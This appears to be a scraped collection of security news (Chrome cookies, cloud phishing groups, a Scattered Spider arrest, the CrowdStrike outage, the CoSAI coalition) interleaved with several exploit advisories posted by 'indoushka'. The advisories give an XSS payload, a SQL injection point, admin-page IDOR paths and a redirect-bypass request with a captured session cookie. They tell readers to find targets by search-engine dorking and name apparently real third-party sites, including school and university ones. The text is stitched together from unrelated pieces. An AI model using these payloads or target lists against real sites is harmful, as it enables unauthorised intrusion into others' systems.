Google on Monday abandoned plans to phase out third-party tracking cookies in its Chrome web browser more than four years after it introduced the option as part of a larger set of a controversial proposal called the Privacy Sandbox.
"Instead of deprecating third-party cookies, we would introduce a new experience in Chrome that lets people make an informed choice that applies across their web

Online Privacy / Regulatory Compliance

Google on Monday abandoned plans to phase out third-party tracking cookies in its Chrome web browser more than four years after it introduced the option as part of a larger set of a controversial proposal called the Privacy Sandbox.

"Instead of deprecating third-party cookies, we would introduce a new experience in Chrome that lets people make an informed choice that applies across their web browsing, and they'd be able to adjust that choice at any time," Anthony Chavez, vice president of the initiative, said.

"We're discussing this new path with regulators, and will engage with the industry as we roll this out."

The significant policy reversal comes nearly three months following the company's announcement that it intends to eliminate third-party cookies starting early next year after repeated delays, underscoring the project's tumultuous history.

While Apple Safari and Mozilla Firefox no longer support third-party cookies as of early 2020, Google has had a tougher time turning it off owing to its own prominent role as a web browser vendor and an advertising platform.

The company's idea of balancing online privacy vis-à-vis an ad-supported internet using Privacy Sandbox has courted scrutiny from regulators, advertisers, and privacy advocates, prompting it to redraw the contours of the cookie-replacement technology several times over the past few years.

Last month, Austrian privacy non-profit noyb (none of your business) said it merely shifts the control from a third-party to Google and that it can still be used to track users without giving them an option to consent in an informed and transparent manner.

Apple, which has introduced advanced tracking and fingerprinting protections in Safari, has been critical of Topics API, a crucial aspect of Privacy Sandbox that sorts users' interests into an ever-evolving list of predefined topics based on their browsing histories in order to serve personalized ads.

"The user doesn't get told upfront which topics Chrome has tagged them with or which topics it exposes to which parties," Apple's WebKit team said, noting how it can be used to fingerprint and re-identify users as well as profile their cross-site activity.

Specifically, it pointed out implementation loopholes that could potentially allow a data broker embedded in websites to capture a user's changing interests over time by periodically querying the Topics API and creating a permanent profile by combining it with other data points.

"Now imagine what advanced machine learning and artificial intelligence can deduce about you based on various combinations of interest signals," the iPhone maker said. "What patterns will emerge when data brokers and trackers can compare and contrast across large portions of the population?"

"We think the web should not expose such information across websites and we don't think the browser, i.e. the user agent, should facilitate any such data collection or use."

Privacy Sandbox has also faced regulatory hurdles over concerns that the technology could give Google an unfair advantage in the digital advertising market and limit competition, complicating the rollout process further.

The development is an admission from Google that gaining industry-wide consensus around a single solution is more challenging than it sounds. A pivot from cookies "requires significant work by many participants and will have an impact on publishers, advertisers, and everyone involved in online advertising," it said.

The U.K. Competition and Markets Authority (CMA), which is closely overseeing the changes being made by the search giant, said it's evaluating the impact of the new announcement.

"Instead of removing third-party cookies from Chrome, it will be introducing a user-choice prompt, which will allow users to choose whether to retain third-party cookies," the CMA said. "The CMA will now work closely with the \[Information Commissioner's Office\] to carefully consider Google's new approach to Privacy Sandbox."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Google Abandons Plan to Phase Out Third-Party Cookies in Chrome

A Latin America (LATAM)-based financially motivated actor codenamed FLUXROOT has been observed leveraging Google Cloud serverless projects to orchestrate credential phishing activity, highlighting the abuse of the cloud computing model for malicious purposes.
"Serverless architectures are attractive to developers and enterprises for their flexibility, cost effectiveness, and ease of use," Google

Cloud Security / Phishing Attack

A Latin America (LATAM)-based financially motivated actor codenamed **FLUXROOT** has been observed leveraging Google Cloud serverless projects to orchestrate credential phishing activity, highlighting the abuse of the cloud computing model for malicious purposes.

"Serverless architectures are attractive to developers and enterprises for their flexibility, cost effectiveness, and ease of use," Google said in its biannual Threat Horizons Report \[PDF\] shared with The Hacker News.

"These same features make serverless computing services for all cloud providers attractive to threat actors, who use them to deliver and communicate with their malware, host and direct users to phishing pages, and to run malware and execute malicious scripts specifically tailored to run in a serverless environment."

The campaign involved the use of Google Cloud container URLs to host credential phishing pages with the aim of harvesting login information associated with Mercado Pago, an online payments platform popular in the LATAM region.

FLUXROOT, per Google, is the threat actor known for distributing the Grandoreiro banking trojan, with recent campaigns also taking advantage of legitimate cloud services like Microsoft Azure and Dropbox to distribute the malware.

Separately, Google's cloud infrastructure has also been weaponized by another adversary named PINEAPPLE to propagate another stealer malware known as Astaroth (aka Guildma) as part of attacks targeting Brazilian users.

"PINEAPPLE used compromised Google Cloud instances and Google Cloud projects they created themselves to create container URLs on legitimate Google Cloud serverless domains such as cloudfunctions\[.\]net and run.app," Google noted. "The URLs hosted landing pages redirecting targets to malicious infrastructure that dropped Astaroth."

Furthermore, the threat actor is said to have attempted to bypass email gateway protections by making use of mail forwarding services that do not drop messages with failed Sender Policy Framework (SPF) records, or incorporating unexpected data in the SMTP Return-Path field in order to trigger a DNS request timeout and cause email authentication checks to fail.

The search giant said it took steps to mitigate the activities by taking down the malicious Google Cloud projects and updating its Safe Browsing lists.

The weaponization of cloud services and infrastructure by threat actors – ranging from illicit cryptocurrency mining as a consequence of weak configurations to ransomware – has been fueled by the enhanced adoption of cloud across industries.

Furthermore, the approach has the added benefit of allowing adversaries to blend into normal network activities, making detection a lot more challenging.

"Threat actors take advantage of the flexibility and ease of deployment of serverless platforms to distribute malware and host phishing pages," the company said. "Threat actors abusing cloud services shift their tactics in response to defenders' detection and mitigation measures."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

PINEAPPLE and FLUXROOT Hacker Groups Abuse Google Cloud for Credential Phishing

Xhibiter NFT Marketplace version 1.10.2 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Xhibiter NFT Marketplace 1.10.2 XSS Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://elements.envato.com/xhibiter-nft-marketplace-html-template-AQN45FA                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /search.php?id=1'%22()%26%25<acx><ScRiPt%20>prompt(915136)</ScRiPt>[+] https://www/127.0.0.1/gatesea.io/search.php?id=1'"()%26%25<acx><ScRiPt >prompt(915136)</ScRiPt>Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Xhibiter NFT Marketplace 1.10.2 Cross Site Scripting

eStore CMS version 2.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : eStore CMS v2.0 Sql injection Vulnerability                                                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : http://www.2iraq.com/                                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : "CMS.php?CMS_P=" or "News_Details.php?ID="<===== inject here[+] https://www/127.0.0.1/uruk.edu.iq/News_Details.php?ID=467Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

eStore CMS 2.0 SQL Injection

Clenix version 1.0 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : Clenix v1.0 IDOR Vulnerability                                                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.1 (64 bits)                                                   || # Vendor    : https://www.radiustheme.com/                                                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /admin/main.php[+] https://www/127.0.0.1/otabucert.co.uk/admin/main.php[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Clenix 1.0 Insecure Direct Object Reference

Candy Redis version 2.1.2 appears to suffer from an administrative page disclosure issue.

====================================================================================================================================  
| # Title     : Candy Redis V2.1.2 HTML Form in redirect page Vulnerability                                                        |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   |  
| # Vendor    : https://bacadigital.com/pasti-bisa-panduan-ujian-cbt-untuk-pengguna/                                               |  
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Vulnerability description :

An HTML form was found in the response body of this page. However, the current page redirects the visitor to another page by returning an HTTP status code of 301/302.  
 Therefore, all browser users will not see the contents of this page and will not be able to interact with the HTML form. 

Sometimes programmers don't properly terminate the script after redirecting the user to another page. For example:   
<?php  
    if (!isset($_SESSION["authenticated"])) {  
        header("Location: auth.php");  
    }  
?>  
<title>Administration page</title>  
<form action="/admin/action" method="post">  
      
</form>

    
This script is incorrect because the script is not terminated after the "header("Location: auth.php");" line. An attacker can access the content the administration page by using an HTTP client that doesn't follow redirection (like HTTP Editor). This creates an authentication bypass vulnerability.   
The correct code would be 

<?php  
    if (!isset($_SESSION[auth])) {  
        header("Location: auth.php");  
        exit();  
    }  
?>  
<title>Administration page</title>  
<form action="/admin/action" method="post">  
      
</form>

    

[+] infected item : /pass. 

[+] Attack details :

Form action=''

GET /pass/ HTTP/1.1  
Pragma: no-cache  
Cache-Control: no-cache  
Referer: https://127.0.0.1/elearning7.smpn49-jkt.sch.id/pass  
Acunetix-Aspect: enabled  
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c  
Acunetix-Aspect-Queries: filelist;aspectalerts  
Cookie: PHPSESSID=dc1a2974e1afffa5b1926d0e4f3ff57f  
Host: elearning7.smpn49-jkt.sch.id  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*

Response  
HTTP/1.1 302 Found  
Connection: Keep-Alive  
Keep-Alive: timeout=5, max=100  
x-powered-by: PHP/7.3.33  
location: https://127.0.0.1/elearning7.smpn49-jkt.sch.id/login.php  
content-type: text/html; charset=UTF-8  
content-length: 16992  
vary: Accept-Encoding,User-Agent  
date: Fri, 19 Jul 2024 10:09:49 GMT  
server: LiteSpeed  
cache-control: no-cache, no-store, must-revalidate, max-age=0  
platform: hostinger  
strict-transport-security: max-age=31536000; includeSubDomains; preload  
x-xss-protection: 1; mode=block  
x-content-type-options: nosniff  
Original-Content-Encoding: gzip

[+] The impact of this vulnerability : depends on the affected web application.

[+] How to fix this vulnerability : Make sure the script is terminated after redirecting the user to another page

Greetings to :==================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |  
================================================================

Candy Redis 2.1.2 Admin Page Disclosure

Agop CMS version 1.0 suffers from an insecure direct object reference vulnerability.

**Agop CMS 1.0 Insecure Direct Object Reference**

Posted Jul 22, 2024

Authored by indoushka

Agop CMS version 1.0 suffers from an insecure direct object reference vulnerability.

tags | exploit

SHA-256 | 1ed22de09e417dcaed8d9f03d8d62abd6b70fc4587552e70a4bdbce253d3011b

Download | Favorite | View

**Agop CMS 1.0 Insecure Direct Object Reference**

    ====================================================================================================================================| # Title     : Agop CMS v1.0 IDOR Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : http://gico.io/agop/demos/                                                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload : /admin/managePages.php[+] https://www/127.0.0.1/tiktrades.com/admin/managePages.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,061)
*   Arbitrary (16,823)
*   BBS (2,859)
*   Bypass (1,852)
*   CGI (1,033)
*   Code Execution (7,776)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,380)
*   DoS (24,985)
*   Encryption (2,389)
*   Exploit (53,050)
*   File Inclusion (4,256)
*   File Upload (989)
*   Firewall (822)
*   Info Disclosure (2,875)
*   Intrusion Detection (914)
*   Java (3,141)
*   JavaScript (895)
*   Kernel (7,161)
*   Local (14,770)
*   Magazine (586)
*   Overflow (13,147)
*   Perl (1,435)
*   PHP (5,219)
*   Proof of Concept (2,381)
*   Protocol (3,723)
*   Python (1,629)
*   Remote (31,602)
*   Root (3,625)
*   Rootkit (525)
*   Ruby (631)
*   Scanner (1,657)
*   Security Tool (8,021)
*   Shell (3,270)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,271)
*   SQL Injection (16,584)
*   TCP (2,439)
*   Trojan (690)
*   UDP (901)
*   Virus (669)
*   Vulnerability (32,893)
*   Web (9,947)
*   Whitepaper (3,781)
*   x86 (967)
*   XSS (18,234)
*   Other

**File Archives**

*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   August 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,090)
*   BSD (376)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,082)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,531)
*   HPUX (880)
*   iOS (376)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,456)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,351)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,673)
*   UNIX (9,429)
*   UnixWare (187)
*   Windows (6,667)
*   Other

Agop CMS 1.0 Insecure Direct Object Reference

Law enforcement officials in the U.K. have arrested a 17-year-old boy from Walsall who is suspected to be a member of the notorious Scattered Spider cybercrime syndicate.
The arrest was made "in connection with a global cyber online crime group which has been targeting large organizations with ransomware and gaining access to computer networks," West Midlands police said. "The arrest is part of

Law enforcement officials in the U.K. have arrested a 17-year-old boy from Walsall who is suspected to be a member of the notorious Scattered Spider cybercrime syndicate.

The arrest was made "in connection with a global cyber online crime group which has been targeting large organizations with ransomware and gaining access to computer networks," West Midlands police said. "The arrest is part of a global investigation into a large-scale cyber hacking community which has targeted a number of major companies which includes MGM Resorts in America."

The teen's arrest, carried out in coordination with the U.K. National Crime Agency (NCA) and the U.S. Federal Bureau of Investigation (FBI), comes a little over a month after another 22-year-old member of the e-crime syndicate from the U.K. was apprehended in Spain.

Scattered Spider, an offshoot of a loose-knit group called The Com, has evolved into an initial access broker and affiliate, delivering ransomware families like BlackCat, Qilin, and RansomHub. A recent report from Google-owned Mandiant revealed the attackers' pivot to encryptionless extortion attacks that aim to steal data from software-as-a-service (SaaS) applications.

The development comes as the DoJ announced the sentencing of Scott Raul Esparza, 24, of Texas, to nine months in prison for running a distributed denial-of-service (DDoS) attack solution named Astrostress between 2019 and 2022, following which he is expected to serve two years of supervised release. He pleaded guilty to the charges earlier in March.

"Customers of Astrostress.com were offered various levels of subscriptions – depending on how many attacks they wanted to conduct and with what power – and were charged accordingly," the DoJ said. "This site thus enabled co-conspirators worldwide to set up accounts on Astrostress.com and then use the Astrostress.com resources to direct attacks at internet-connected computers around the globe."

Esparza, who procured the attack servers and maintained the service, is said to have collaborated with Shamar Shattock, 21, of Florida. Shattock faces up to five years in prison after pleading guilty in March 2023.

It also comes in the wake of sanctions imposed by the U.S. Treasury Department against Yuliya Vladimirovna Pankratova and Denis Olegovich Degtyarenko, two members of CyberArmyofRussia\_Reborn (CARR), a hacktivist persona tied to the prolific Russia-based Sandworm (aka APT44) group, for engaging in cyber attacks targeting critical infrastructure in the country.

Pankratova (aka YUliYA) is believed to be the leader of CARR and its spokesperson, with Degtyarenko (aka Dena) working as the primary hacker for the group and allegedly responsible for the compromise of a Supervisory Control and Data Acquisition (SCADA) system of an unnamed U.S. energy company.

"Using various unsophisticated techniques, CARR has been responsible for manipulating industrial control system equipment at water supply, hydroelectric, wastewater, and energy facilities in the U.S. and Europe," the department's Office of Foreign Assets Control (OFAC) said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

17-Year-Old Linked to Scattered Spider Cybercrime Syndicate Arrested in U.K.

Though the cybersecurity vendor has since reverted the update, chaos continues as companies continue to struggle to get back up and running.

Source: SOPA Images Limited via Alamy Stock Photo

This is a breaking news story and will be updated as new developments occur.

This morning, Microsoft servers across the world displayed the dreaded "blue screen of death," leading to mass IT outages that disrupted business, airlines and flights, healthcare providers, banks, and more. The cause: A defective update to CrowdStrike Falcon Sensor, a widely used cloud-based endpoint detection and prevention (EDR) software program.

CrowdStrike said its engineering team has identified the issue that caused the massive disruption to Windows-based systems: A bug in the Memory Scanning prevention policy, which was not identified during their testing stages, Callie Guenther, senior manager at Critical Start, noted in an emailed statement.

"While CrowdStrike likely performed standard regression and functionality tests, these were insufficient because they did not simulate the real-world deployment environment where the bug caused the Falcon sensor to consume 100% of a CPU core," she wrote. This ultimately led to system performance issues.

CrowdStrike has since reverted the flawed Falcon software update. Even so, some users are still experiencing system crashes or are unable to stay online to receive the new and fixed version. The cybersecurity vendor has provided workaround steps for this issue.

In a post on social platform X, Microsoft CEO Satya Nadella said the company is aware of the issue and is working closely with CrowdStrike to provide technical support to its customers and get their systems back online.

**Falcon Fallout**

The severity of the broken CrowdStrike update became increasingly painful as victim reports rolled in throughout the day: More than 1,300 flights have been canceled or delayed, trains, card payments in stores, pharmacies, and even general practitioner (GP) surgeries were stalled. 

The Department of Health in Belfast reported that two-thirds of GP practices in Northern Ireland have been affected, with patient records inaccessible as well as lab tests and routine prescriptions.

Delta flights have been paused as it "works through a vendor technology issue," the New York Times reported, and Turkish Airlines has canceled at least 84 flights. Employees at financial institutions like JPMorgan Chase and Instinet have had trouble accessing their corporate systems as operations began to stutter.

Even the Paris Olympics organizing committee reports that its IT operations have been affected, mainly affecting delivery of uniforms and accreditations.

Meanwhile, President Joe Biden has been briefed on the outage, according to the White House, and administration officials are reportedly in touch with affected entities as well as CrowdStrike, which is working with customers that have been impacted.

"Mac and Linux hosts are not impacted," George Kurtz, president and CEO of CrowdStrike, wrote online. "This is not a security incident or cyberattack. The issue has been identified \[and isolated,\] and a fix has been deployed. We refer customers to the support portal for the latest updates and will continue to provide complete and continuous updates on our website."

**It's Not a Data Breach, but it's a Disaster**

In an industry where cybersecurity practices and services are meant to protect an enterprise without interrupting them, this outage proves that "even non-malicious cybersecurity failures can bring businesses to their knees," according to Maxine Holt, cybersecurity analyst at Omdia.

This massive incident underscores an over-reliance on cloud services, Holt noted in an online statement, and the outage may prompt organizations to reconsider moving their mission-critical applications to the cloud.

"Omdia's Cloud and Data Center analysts have long warned about over-reliance on cloud services," Holt said. "Today's outages will make enterprises rethink moving mission-critical applications off-premises. The ripple effect is massive, hitting CrowdStrike, Microsoft, AWS, Azure, Google, and beyond. CrowdStrike's shares have plummeted by more than 20% in unofficial pre-market trading in the US, translating to a staggering $16 billion loss in value."

As CrowdStrike will undoubtedly face scrutiny as it gets back on its feet, only time will tell how this outage could affect regulation and pressure on software vendors.

"We need stronger regulations and guidance on vendor responsibilities for functional testing," Josh Thorngren, security strategist at ForAllSecure, wrote in an emailed statement. "If you're not testing the behavior of your application under-expected (and unexpected) conditions with every update — this type of issue will always be a risk."

Buggy CrowdStrike EDR Update Crashes Windows Systems Worldwide

The Coalition for Secure AI is a consortium of influential AI companies aiming to develop tools to secure AI applications and set up an ecosystem for sharing best practices.

Source: ElenaBS via Alamy Stock Photo

The largest and most influential artificial intelligence (AI) companies are joining forces to map out a security-first approach to the development and use of generative AI.

The Coalition for Secure AI, also called CoSAI, aims to provide the tools to mitigate the risks involved in AI. The goal is to create standardized guardrails, security technologies, and tools for the secure development of models.

"Our initial workstreams include AI and software supply chain security and preparing defenders for a changing cyber landscape," CoSAI said in a statement.

The initial efforts include creating a secure bubble and systems of checks and balances around the access and use of AI, and creating a framework to protect AI models from cyberattacks, according to Google, one of the coalition's founding members. Google, OpenAI, and Anthropic own the most widely used large language models (LLMs). Other members include infrastructure providers Microsoft, IBM, Intel, Nvidia, and PayPal.

"AI developers need — and end users deserve — a framework for AI security that meets the moment and responsibly captures the opportunity in front of us. CoSAI is the next step in that journey, and we can expect more updates in the coming months," wrote Google's vice president of security engineering, Heather Adkins, and Google Cloud's chief information security officer, Phil Venables.

**AI Safety as a Priority**

AI safety has raised a host of cybersecurity concerns since the launch of ChatGPT in 2022. Those include misuse for social engineering to penetrate systems and the creation of deepfake videos to spread misinformation. At the same time, security firms, such as Trend Micro and CrowdStrike, are now turning to AI to help companies root out threats.

AI safety, trust, and transparency are important as results could steer organizations into faulty — and sometimes harmful — actions and decisions, says Gartner analyst Avivah Litan.

"AI cannot run on its own without guardrails to rein it in — errors and exceptions need to be highlighted and investigated," Litan says.

AI security issues could multiply with technologies such as AI agents, which are add-ons that generate more accurate answers from custom data.

"The right tools need to be in place to automatically remediate all but the most opaque exceptions," Litan says.

US President Joe Biden has challenged the private sector to prioritize AI safety and ethics. His concern was around AI's potential to propagate inequity and to compromise national security.

In July 2023, President Biden issued an executive order that required commitments from major companies that are now part of CoSAI to develop safety standards, share safety test results, and prevent AI's misuse for biological materials and fraud and deception.

CoSAI will work with other organizations, including the Frontier Model Forum, Partnership on AI, OpenSSF, and MLCommons, to develop common standards and best practices.

MLCommons this week told Dark Reading that in fall this year it will release an AI safety benchmarking suite that will rate LLMs on responses related to hate speech, exploitation, child abuse, and sex crimes.

CoSAI will be managed by OASIS Open, which, like the Linux Foundation, manages open source development projects. OASIS is best known for its work around the XML standard and for the ODF file format, which is an alternative to Microsoft Word's .doc file format.

**About the Author(s)**

Agam Shah has covered enterprise IT for more than a decade. Outside of machine learning, hardware, and chips, he's also interested in martial arts and Russia.

Tag

#google